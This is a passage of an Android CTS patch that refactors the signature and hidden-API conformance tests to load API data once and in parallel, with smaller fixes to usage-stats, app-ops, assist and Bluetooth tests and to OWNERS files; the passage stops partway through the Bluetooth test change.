--- a/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/HiddenApiTest.java
@@ -25,37 +25,46 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.VirtualPath;
 
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.google.common.base.Suppliers;
+
+import org.junit.Test;
+
 import java.io.BufferedReader;
 import java.io.IOException;
 import java.io.InputStreamReader;
+import java.text.ParseException;
+import java.util.ArrayList;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.function.Predicate;
-import org.junit.Test;
+import java.util.function.Supplier;
 
 /**
  * Checks that it is not possible to access hidden APIs.
  */
 public class HiddenApiTest extends AbstractApiTest {
 
-    private String[] hiddenapiFiles;
+    private static final String HIDDENAPI_FILES_ARG = "hiddenapi-files";
+    private static final String HIDDENAPI_FILTER_FILE_ARG = "hiddenapi-filter-file";
+    private static final String HIDDENAPI_TEST_FLAGS_ARG = "hiddenapi-test-flags";
+
+    private static final Supplier<List<DexMember>> DEX_MEMBERS = getSupplierOfDexMembers();
+
     private String[] hiddenapiTestFlags;
-    private String hiddenapiFilterFile;
-    private Set<String> hiddenapiFilterSet;
 
     @Override
     protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        hiddenapiFiles = getCommaSeparatedListRequired(instrumentationArgs, "hiddenapi-files");
-        hiddenapiTestFlags = getCommaSeparatedListOptional(instrumentationArgs, "hiddenapi-test-flags");
-        hiddenapiFilterFile = instrumentationArgs.getString("hiddenapi-filter-file");
-        hiddenapiFilterSet = new HashSet<>();
+        hiddenapiTestFlags =
+                getCommaSeparatedListOptional(instrumentationArgs, HIDDENAPI_TEST_FLAGS_ARG);
     }
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
         DexMemberChecker.init();
-        loadFilters();
     }
 
     // We have four methods to split up the load, keeping individual test runs small.
@@ -66,7 +75,7 @@
     private final static Predicate<DexMember> FIELD_FILTER =
             dexMember -> (dexMember instanceof DexField);
 
-    @Test
+    @Test(timeout = 120000)
     public void testSignatureMethodsThroughReflection() {
         doTestSignature(METHOD_FILTER,/* reflection= */ true, /* jni= */ false);
     }
@@ -149,24 +158,12 @@
                 }
             };
 
-            for (String apiFile : hiddenapiFiles) {
-                VirtualPath.ResourcePath resourcePath =
-                        VirtualPath.get(getClass().getClassLoader(), apiFile);
-                BufferedReader reader = new BufferedReader(
-                        new InputStreamReader(resourcePath.newInputStream()));
-                int lineIndex = 1;
-                String line = reader.readLine();
-                while (line != null) {
-                    DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
-                    if (memberFilter.test(dexMember) && shouldTestMember(dexMember)
-                            && !isFiltered(line)) {
-                        DexMemberChecker.checkSingleMember(dexMember, reflection, jni,
-                                observer);
-                    }
-                    line = reader.readLine();
-                    lineIndex++;
-                }
-            }
+            List<DexMember> dexMembers = DEX_MEMBERS.get();
+            dexMembers.parallelStream()
+                    .filter(memberFilter)
+                    .filter(m -> shouldTestMember(m))
+                    .forEach(
+                            m -> DexMemberChecker.checkSingleMember(m, reflection, jni, observer));
         });
     }
 
@@ -195,7 +192,7 @@
      * @param line is the line from the hiddenapi-flags.csv indicating which method/field to check
      * @return true if the method/field is to be filtered out, false otherwise
      */
-    private boolean isFiltered(String line) {
+    private static boolean isFiltered(String line, Set<String> hiddenapiFilterSet) {
         if (line == null) {
             return false;
         }
@@ -206,24 +203,71 @@
 
     /**
      * Loads the filter file and inserts each line of the file into a Set
-     *
-     * @throws IOException if the filter file does not exist
      */
-    private void loadFilters() throws IOException {
+    static Set<String> loadFilters(String hiddenapiFilterFile) {
         // Avoids testing members in filter file (only a single filter file can be supplied)
+        Set<String> hiddenapiFilterSet = new HashSet<>();
         if (hiddenapiFilterFile != null) {
-            VirtualPath.ResourcePath resourcePath =
-                    VirtualPath.get(getClass().getClassLoader(), hiddenapiFilterFile);
-            BufferedReader reader = new BufferedReader(
-                    new InputStreamReader(resourcePath.newInputStream()));
-            String filterFileLine = reader.readLine();
-            while (filterFileLine != null) {
-                if (!filterFileLine.startsWith("#")) {
-                    hiddenapiFilterSet.add(filterFileLine);
+            try {
+                VirtualPath.ResourcePath resourcePath =
+                        VirtualPath.get(HiddenApiTest.class.getClassLoader(), hiddenapiFilterFile);
+                BufferedReader reader =
+                        new BufferedReader(new InputStreamReader(resourcePath.newInputStream()));
+                String filterFileLine = reader.readLine();
+                while (filterFileLine != null) {
+                    if (!filterFileLine.startsWith("#")) {
+                        hiddenapiFilterSet.add(filterFileLine);
+                    }
+                    filterFileLine = reader.readLine();
                 }
-                filterFileLine = reader.readLine();
+            } catch (IOException ioe) {
+                throw new RuntimeException("Failed to load filters", ioe);
             }
         }
+        return hiddenapiFilterSet;
     }
 
+    /**
+     * Reads DEX method and fields from hiddenapi files.
+     *
+     * <p>This method is expensive, it typically takes ~10s to run.
+     *
+     * @return a list of {@link DexMember} objects for the fields and methods in the hiddenapi files
+     */
+    private static List<DexMember> readDexMembers() {
+        final Bundle arguments = InstrumentationRegistry.getArguments();
+        final String hiddenapiFilterFile = arguments.getString(HIDDENAPI_FILTER_FILE_ARG);
+        final String[] hiddenapiFiles =
+                getCommaSeparatedListRequired(arguments, HIDDENAPI_FILES_ARG);
+        final Set<String> hiddenapiFilterSet = loadFilters(hiddenapiFilterFile);
+        ArrayList<DexMember> dexMembers = new ArrayList<>();
+        for (String apiFile : hiddenapiFiles) {
+            try {
+                VirtualPath.ResourcePath resourcePath =
+                        VirtualPath.get(HiddenApiTest.class.getClassLoader(), apiFile);
+                try (BufferedReader reader =
+                        new BufferedReader(
+                                new InputStreamReader(resourcePath.newInputStream()),
+                                1024 * 1024)) {
+                    int lineIndex = 1;
+                    String line = reader.readLine();
+                    while (line != null) {
+                        DexMember dexMember = DexApiDocumentParser.parseLine(line, lineIndex);
+                        if (!isFiltered(line, hiddenapiFilterSet)) {
+                            dexMembers.add(dexMember);
+                        }
+                        line = reader.readLine();
+                        lineIndex++;
+                    }
+                }
+            } catch (IOException | ParseException e) {
+                throw new RuntimeException("Failed to read DEX members", e);
+            }
+        }
+        return dexMembers;
+    }
+
+    static Supplier<List<DexMember>> getSupplierOfDexMembers() {
+        return Suppliers.memoize(() -> readDexMembers())::get;
+    }
 }
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
new file mode 100644
index 0000000..722ea63
--- /dev/null
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/ResourceStore.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.signature.cts.api;
+
+import android.signature.cts.VirtualPath;
+import android.util.Log;
+import com.google.common.base.Suppliers;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.function.Supplier;
+import java.util.stream.Stream;
+import java.util.zip.ZipFile;
+
+/**
+ * Manages local storage of resources that need to be extracted from the Jar into the local
+ * filesystem before use.
+ */
+public class ResourceStore {
+
+    private static final String TAG = ResourceStore.class.getSimpleName();
+
+    /**
+     * Supplier for the temporary directory.
+     */
+    private static final Supplier<Path> TEMPORARY_DIRECTORY = Suppliers.memoize(() -> {
+        try {
+            return Files.createTempDirectory("signature");
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    })::get;
+
+    /**
+     * A map from a {@link VirtualPath} to a {@link ZipFile} for zip file resources that
+     * have been extracted from the jar into the local file system.
+     */
+    private static final Map<VirtualPath, ZipFile> extractedZipFiles = new HashMap<>();
+
+    public static Stream<VirtualPath> readResource(ClassLoader classLoader, String resourceName) {
+        try {
+            VirtualPath resourcePath = VirtualPath.get(classLoader, resourceName);
+            if (resourceName.endsWith(".zip")) {
+                // Extract to a temporary file and then read from there. If the resource has already
+                // been extracted before then reuse the previous file.
+                @SuppressWarnings("resource")
+                ZipFile zip = extractedZipFiles.computeIfAbsent(resourcePath, virtualPath -> {
+                    try {
+                        Path path = extractResourceToFile(resourceName, resourcePath);
+                        return new ZipFile(path.toFile());
+                    } catch (IOException e) {
+                        throw new RuntimeException(e);
+                    }
+                });
+                return zip.stream().map(entry -> VirtualPath.get(zip, entry));
+            } else {
+                return Stream.of(resourcePath);
+            }
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    /**
+     * Close any previously opened {@link ZipFile} instances.
+     */
+    public static void close() {
+        for (ZipFile zipfile: extractedZipFiles.values()) {
+            // If an error occurred when closing the ZipFile log the failure and continue.
+            try {
+                zipfile.close();
+            } catch (IOException e) {
+                Log.e(TAG, "Could not close ZipFile " + zipfile, e);
+            }
+        }
+    }
+
+    private static Path extractResourceToFile(String resourceName, VirtualPath resourcePath)
+            throws IOException {
+        Path tempDirectory = TEMPORARY_DIRECTORY.get();
+        Path file = tempDirectory.resolve(resourceName);
+        try (InputStream is = resourcePath.newInputStream()) {
+            Log.i(TAG, "extractResourceToFile: extracting " + resourceName + " to " + file);
+            Files.copy(is, file);
+        }
+        return file;
+    }
+}
diff --git a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
index 1be75ca..136211f 100644
--- a/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/java/android/signature/cts/api/SignatureTest.java
@@ -23,48 +23,55 @@
 import android.signature.cts.FailureType;
 import android.signature.cts.JDiffClassDescription;
 import android.signature.cts.ReflectionHelper;
+import com.google.common.base.Suppliers;
 import java.util.Comparator;
 import java.util.Set;
 import java.util.TreeSet;
 import java.util.function.Predicate;
+import java.util.function.Supplier;
 import java.util.stream.Collectors;
 import org.junit.Test;
 
 /**
  * Performs the signature check via a JUnit test.
  */
-public class SignatureTest extends AbstractApiTest {
+public class SignatureTest extends AbstractSignatureTest {
 
     private static final String TAG = SignatureTest.class.getSimpleName();
 
-    protected String[] expectedApiFiles;
-    protected String[] previousApiFiles;
-    protected String[] baseApiFiles;
-    private String[] unexpectedApiFiles;
+    private static final String UNEXPECTED_API_FILES_ARG = "unexpected-api-files";
+
+    private static final Supplier<String[]> EXPECTED_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(EXPECTED_API_FILES_ARG);
+    private static final Supplier<String[]> UNEXPECTED_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(UNEXPECTED_API_FILES_ARG);
+    private static final Supplier<String[]> PREVIOUS_API_FILES =
+            getSupplierOfAnOptionalCommaSeparatedListArgument(PREVIOUS_API_FILES_ARG);
+
+    private static final Supplier<Set<JDiffClassDescription>> UNEXPECTED_CLASSES =
+            Suppliers.memoize(SignatureTest::loadUnexpectedClasses)::get;
 
     @Override
-    protected void initializeFromArgs(Bundle instrumentationArgs) throws Exception {
-        expectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "expected-api-files");
-        baseApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "base-api-files");
-        unexpectedApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "unexpected-api-files");
-        previousApiFiles = getCommaSeparatedListOptional(instrumentationArgs, "previous-api-files");
+    protected void initializeFromArgs(Bundle instrumentationArgs) {
+        String[] expectedApiFiles = EXPECTED_API_FILES.get();
+        String[] unexpectedApiFiles = UNEXPECTED_API_FILES.get();
 
         if (expectedApiFiles.length + unexpectedApiFiles.length == 0) {
             throw new IllegalStateException(
-                    "Expected at least one file to be specified in"
-                            + " 'expected-api-files' or 'unexpected-api-files'");
+                    String.format("Expected at least one file to be specified in '%s' or '%s'",
+                            EXPECTED_API_FILES_ARG, UNEXPECTED_API_FILES_ARG));
         }
     }
 
     /**
-     * Tests that the device's API matches the expected set defined in xml.
-     * <p/>
-     * Will check the entire API, and then report the complete list of failures
+     * Make sure that this APK cannot access any unexpected classes.
+     *
+     * <p>The set of unexpected classes may be empty, in which case this test does nothing.</p>
      */
     @Test
-    public void testSignature() {
+    public void testCannotAccessUnexpectedClasses() {
         runWithTestResultObserver(mResultObserver -> {
-            Set<JDiffClassDescription> unexpectedClasses = loadUnexpectedClasses();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             for (JDiffClassDescription classDescription : unexpectedClasses) {
                 Class<?> unexpectedClass = findUnexpectedClass(classDescription, mClassProvider);
                 if (unexpectedClass != null) {
@@ -74,16 +81,52 @@
                             "Class should not be accessible to this APK");
                 }
             }
+        });
+    }
 
+    /**
+     * Tests that the device's API matches the expected set defined in xml.
+     *
+     * <p>Will check the entire API, and then report the complete list of failures</p>
+     */
+    @Test
+    public void testRuntimeCompatibilityWithCurrentApi() {
+        runWithTestResultObserver(mResultObserver -> {
             ApiComplianceChecker complianceChecker =
                     new ApiComplianceChecker(mResultObserver, mClassProvider);
 
             // Load classes from any API files that form the base which the expected APIs extend.
             loadBaseClasses(complianceChecker);
+
             // Load classes from system API files and check for signature compliance.
+            String[] expectedApiFiles = EXPECTED_API_FILES.get();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             checkClassesSignatureCompliance(complianceChecker, expectedApiFiles, unexpectedClasses,
                     false /* isPreviousApi */);
+
+            // After done parsing all expected API files, perform any deferred checks.
+            complianceChecker.checkDeferred();
+        });
+    }
+
+    /**
+     * Tests that the device's API matches the last few previously released api files.
+     *
+     * <p>Will check all the recently released api files, and then report the complete list of
+     * failures.</p>
+     */
+    @Test
+    public void testRuntimeCompatibilityWithPreviousApis() {
+        runWithTestResultObserver(mResultObserver -> {
+            ApiComplianceChecker complianceChecker =
+                    new ApiComplianceChecker(mResultObserver, mClassProvider);
+
+            // Load classes from any API files that form the base which the expected APIs extend.
+            loadBaseClasses(complianceChecker);
+
             // Load classes from previous API files and check for signature compliance.
+            String[] previousApiFiles = PREVIOUS_API_FILES.get();
+            Set<JDiffClassDescription> unexpectedClasses = UNEXPECTED_CLASSES.get();
             checkClassesSignatureCompliance(complianceChecker, previousApiFiles, unexpectedClasses,
                     true /* isPreviousApi */);
 
@@ -105,9 +148,10 @@
         }
     }
 
-    private Set<JDiffClassDescription> loadUnexpectedClasses() {
+    private static Set<JDiffClassDescription> loadUnexpectedClasses() {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        return parseApiResourcesAsStream(apiDocumentParser, unexpectedApiFiles)
+        return retrieveApiResourcesAsStream(SignatureTest.class.getClassLoader(), UNEXPECTED_API_FILES.get())
+                .flatMap(apiDocumentParser::parseAsStream)
                 .collect(Collectors.toCollection(SignatureTest::newSetOfClassDescriptions));
     }
 
@@ -115,12 +159,6 @@
         return new TreeSet<>(Comparator.comparing(JDiffClassDescription::getAbsoluteClassName));
     }
 
-    private void loadBaseClasses(ApiComplianceChecker complianceChecker) {
-        ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
-        parseApiResourcesAsStream(apiDocumentParser, baseApiFiles)
-                .forEach(complianceChecker::addBaseClass);
-    }
-
     private void checkClassesSignatureCompliance(ApiComplianceChecker complianceChecker,
             String[] classes, Set<JDiffClassDescription> unexpectedClasses, boolean isPreviousApi) {
         ApiDocumentParser apiDocumentParser = new ApiDocumentParser(TAG);
@@ -129,5 +167,4 @@
                 .map(clazz -> clazz.setPreviousApiFlag(isPreviousApi))
                 .forEach(complianceChecker::checkSignatureCompliance);
     }
-
 }
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 59fe44d..bb12c58 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -29,6 +29,7 @@
     Bug: 206897736 android.intent.action.MANAGE_PERMISSION_USAGE
     Bug: 206897736 android.intent.action.VIEW_APP_FEATURES
     Bug: 209528070 android.intent.action.APPLICATION_LOCALE_CHANGED
+    Bug: 218245704 android.intent.action.ACTION_PACKAGE_CHANGED (fixed in TTS 20220209)
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -46,5 +47,6 @@
       <value>android.intent.action.MANAGE_PERMISSION_USAGE</value>
       <value>android.intent.action.VIEW_APP_FEATURES</value>
       <value>android.intent.action.APPLICATION_LOCALE_CHANGED</value>
+      <value>android.intent.action.ACTION_PACKAGE_CHANGED</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
index 140dd6d..51b2ff0 100644
--- a/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
+++ b/tests/signature/lib/android/src/android/signature/cts/VirtualPath.java
@@ -20,6 +20,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.URL;
+import java.util.Objects;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipFile;
 
@@ -55,6 +56,24 @@
 
     public abstract InputStream newInputStream() throws IOException;
 
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract int hashCode();
+
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract boolean equals(Object obj);
+
+    /**
+     * Override as abstract to force sub-classes to implement it.
+     */
+    @Override
+    public abstract String toString();
+
     public static class LocalFilePath extends VirtualPath {
         private final String path;
 
@@ -76,6 +95,23 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            LocalFilePath that = (LocalFilePath) o;
+            return path.equals(that.path);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(path);
+        }
+
+        @Override
         public String toString() {
             return path;
         }
@@ -98,6 +134,24 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            ZipEntryPath that = (ZipEntryPath) o;
+            return zip.getName().equals(that.zip.getName())
+                    && entry.getName().equals(that.entry.getName());
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(zip.getName(), entry.getName());
+        }
+
+        @Override
         public String toString() {
             return "zip:file:" + zip.getName() + "!/" + entry.getName();
         }
@@ -119,6 +173,23 @@
         }
 
         @Override
+        public boolean equals(Object o) {
+            if (this == o) {
+                return true;
+            }
+            if (o == null || getClass() != o.getClass()) {
+                return false;
+            }
+            ResourcePath that = (ResourcePath) o;
+            return url.equals(that.url);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(url);
+        }
+
+        @Override
         public String toString() {
             return url.toExternalForm();
         }
diff --git a/tests/tests/activityrecognition/OWNERS b/tests/tests/activityrecognition/OWNERS
index febd665..6e91130 100644
--- a/tests/tests/activityrecognition/OWNERS
+++ b/tests/tests/activityrecognition/OWNERS
@@ -1,7 +1,7 @@
 # Bug component: 137825
-svetoslavganov@google.com
+narayan@google.com
 zhanghai@google.com
 eugenesusla@google.com
 evanseverson@google.com
 ntmyren@google.com
-ewol@google.com
+ashfall@google.com
diff --git a/tests/tests/app.usage/TestApp1/Android.bp b/tests/tests/app.usage/TestApp1/Android.bp
index cba5df5..956d5d2 100644
--- a/tests/tests/app.usage/TestApp1/Android.bp
+++ b/tests/tests/app.usage/TestApp1/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp1",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
diff --git a/tests/tests/app.usage/TestApp1/AndroidManifest.xml b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
index 06ddfad..b1af98a 100644
--- a/tests/tests/app.usage/TestApp1/AndroidManifest.xml
+++ b/tests/tests/app.usage/TestApp1/AndroidManifest.xml
@@ -25,6 +25,9 @@
         <activity android:name=".SomeActivityWithLocus"
                   android:exported="true"
         />
+        <activity android:name=".FinishOnResumeActivity"
+            android:exported="true"
+        />
         <service android:name=".TestService"
                   android:exported="true"
         />
diff --git a/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
new file mode 100644
index 0000000..dbe8a59
--- /dev/null
+++ b/tests/tests/app.usage/TestApp1/src/android/app/usage/cts/test1/FinishOnResumeActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.usage.cts.test1;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.WindowManager;
+
+public final class FinishOnResumeActivity extends Activity {
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+        finish();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
index 1ac6331..088769f 100644
--- a/tests/tests/app.usage/TestApp2/Android.bp
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -19,7 +19,6 @@
 android_test_helper_app {
     name: "CtsUsageStatsTestApp2",
     defaults: ["cts_defaults"],
-    platform_apis: true,
     static_libs: [
         "androidx.test.rules",
         "compatibility-device-util-axt",
@@ -32,12 +31,15 @@
         "android.test.base",
         "android.test.runner",
     ],
-    srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+    srcs: [
+        "src/**/*.java",
+        "aidl/**/*.aidl",
+    ],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
         "general-tests",
-        "mts"
+        "mts",
     ],
-    sdk_version: "test_current"
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index a20a8f9..287e554 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -130,6 +130,8 @@
             = "android.app.usage.cts.test1.TestService";
     private static final String TEST_APP_CLASS_BROADCAST_RECEIVER
             = "android.app.usage.cts.test1.TestBroadcastReceiver";
+    private static final String TEST_APP_CLASS_FINISH_SELF_ON_RESUME =
+            "android.app.usage.cts.test1.FinishOnResumeActivity";
     private static final String TEST_AUTHORITY = "android.app.usage.cts.test1.provider";
     private static final String TEST_APP_CONTENT_URI_STRING = "content://" + TEST_AUTHORITY;
     private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
@@ -468,6 +470,14 @@
                 startTime, endTime);
         UsageStats stats = events.get(mTargetPackage);
         int startingCount = stats.getAppLaunchCount();
+        // Launch count is updated by UsageStatsService depending on last background package.
+        // When running this test on single screen device (where tasks are launched in the same
+        // TaskDisplayArea), the last background package is updated when the HOME activity is
+        // paused. In a hierarchy with multiple TaskDisplayArea there is no guarantee the Home
+        // Activity will be paused as the activities we launch might be placed on a different
+        // TaskDisplayArea. Starting an activity and finishing it immediately will update the last
+        // background package of the UsageStatsService regardless of the HOME Activity state.
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         endTime = System.currentTimeMillis();
@@ -476,6 +486,8 @@
         stats = events.get(mTargetPackage);
         assertEquals(startingCount + 1, stats.getAppLaunchCount());
         mUiDevice.pressHome();
+
+        launchTestActivity(TEST_APP_PKG, TEST_APP_CLASS_FINISH_SELF_ON_RESUME);
         launchSubActivity(Activities.ActivityOne.class);
         launchSubActivity(Activities.ActivityTwo.class);
         launchSubActivity(Activities.ActivityThree.class);
diff --git a/tests/tests/appcomponentfactory/OWNERS b/tests/tests/appcomponentfactory/OWNERS
new file mode 100644
index 0000000..ef86412
--- /dev/null
+++ b/tests/tests/appcomponentfactory/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 86431
+include platform/art:/OWNERS
diff --git a/tests/tests/appenumeration/OWNERS b/tests/tests/appenumeration/OWNERS
index 8a44fb2..572f16f 100644
--- a/tests/tests/appenumeration/OWNERS
+++ b/tests/tests/appenumeration/OWNERS
@@ -1,5 +1,5 @@
 # Bug component: 36137
+include platform/frameworks/base:/PACKAGE_MANAGER_OWNERS
 patb@google.com
-toddke@google.com
 chiuwinson@google.com
-rtmitchell@google.com
+zyy@google.com
diff --git a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
index e48ba00..b1e5966 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AppOpsTest.kt
@@ -596,7 +596,10 @@
 
     @Test
     fun ensurePhoneCallOpsRestricted() {
-        assumeTrue(mContext.packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))
+        val pm = mContext.packageManager
+        assumeTrue(pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_MICROPHONE) ||
+                pm.hasSystemFeature(PackageManager.FEATURE_CONNECTION_SERVICE))
         val micReturn = mAppOps.noteOp(OPSTR_PHONE_CALL_MICROPHONE, Process.myUid(), mOpPackageName,
                 null, null)
         assertEquals(MODE_IGNORED, micReturn)
diff --git a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
index 265da81..c4c33e0 100644
--- a/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
+++ b/tests/tests/assist/service/src/android/assist/service/MainInteractionSession.java
@@ -169,6 +169,15 @@
             return;
         }
 
+        if (structure != null && structure.isHomeActivity() && !state.isFocused()) {
+            // If the system has multiple display areas, the launcher may be visible and resumed
+            // when the tests are in progress, so the tests might fail if they receives unexpected
+            // state from the launcher. Ignore the states from unfocused launcher to avoid this
+            // failure.
+            Log.i(TAG, "Ignoring the state from unfocused launcher");
+            return;
+        }
+
         // send to test to verify that this is accurate.
         mAssistData.putBoolean(Utils.ASSIST_IS_ACTIVITY_ID_NULL, state.getActivityId() == null);
         mAssistData.putParcelable(Utils.ASSIST_STRUCTURE_KEY, structure);
diff --git a/tests/tests/bionic/Android.bp b/tests/tests/bionic/Android.bp
index 2a5a9fa..a0458d7 100644
--- a/tests/tests/bionic/Android.bp
+++ b/tests/tests/bionic/Android.bp
@@ -62,7 +62,7 @@
     test_suites: [
         "cts",
         "general-tests",
-        "mts",
+        "mts-mainline-infra",
     ],
 
     data_bins: [
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
index aef247b..dde5621 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothA2dpSinkTest.java
@@ -26,8 +26,6 @@
 import android.bluetooth.BluetoothDevice;
 import android.bluetooth.BluetoothManager;
 import android.bluetooth.BluetoothProfile;
-import android.content.pm.PackageManager;
-import android.content.res.Resources;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
@@ -42,7 +40,6 @@
     private static final String TAG = BluetoothA2dpSinkTest.class.getSimpleName();
 
     private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
-    private static final String PROFILE_SUPPORTED_A2DP_SINK = "profile_supported_a2dp_sink";
 
     private boolean mHasBluetooth;
     private BluetoothAdapter mAdapter;
@@ -57,17 +54,11 @@
     @Override
     public void setUp() throws Exception {
         super.setUp();
-        mHasBluetooth = getContext().getPackageManager().hasSystemFeature(
-                PackageManager.FEATURE_BLUETOOTH);
 
+        mHasBluetooth = TestUtils.hasBluetooth();
         if (!mHasBluetooth) return;
 
-        Resources bluetoothResources = mContext.getPackageManager().getResourcesForApplication(
-                "com.android.bluetooth");
-        int a2dpSinkSupportId = bluetoothResources.getIdentifier(
-                PROFILE_SUPPORTED_A2DP_SINK, "bool", "com.android.bluetooth");
-        assertTrue("resource profile_supported_a2dp not found", a2dpSinkSupportId != 0);
-        mIsA2dpSinkSupported = bluetoothResources.getBoolean(a2dpSinkSupportId);
+        mIsA2dpSinkSupported = TestUtils.isProfileEnabled(BluetoothProfile.A2DP_SINK);
         if (!mIsA2dpSinkSupported) return;
 
         mUiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
@@ -89,15 +80,18 @@
     @Override
     public void tearDown() throws Exception {
         super.tearDown();
-        if (!(mHasBluetooth && mIsA2dpSinkSupported)) return;
-
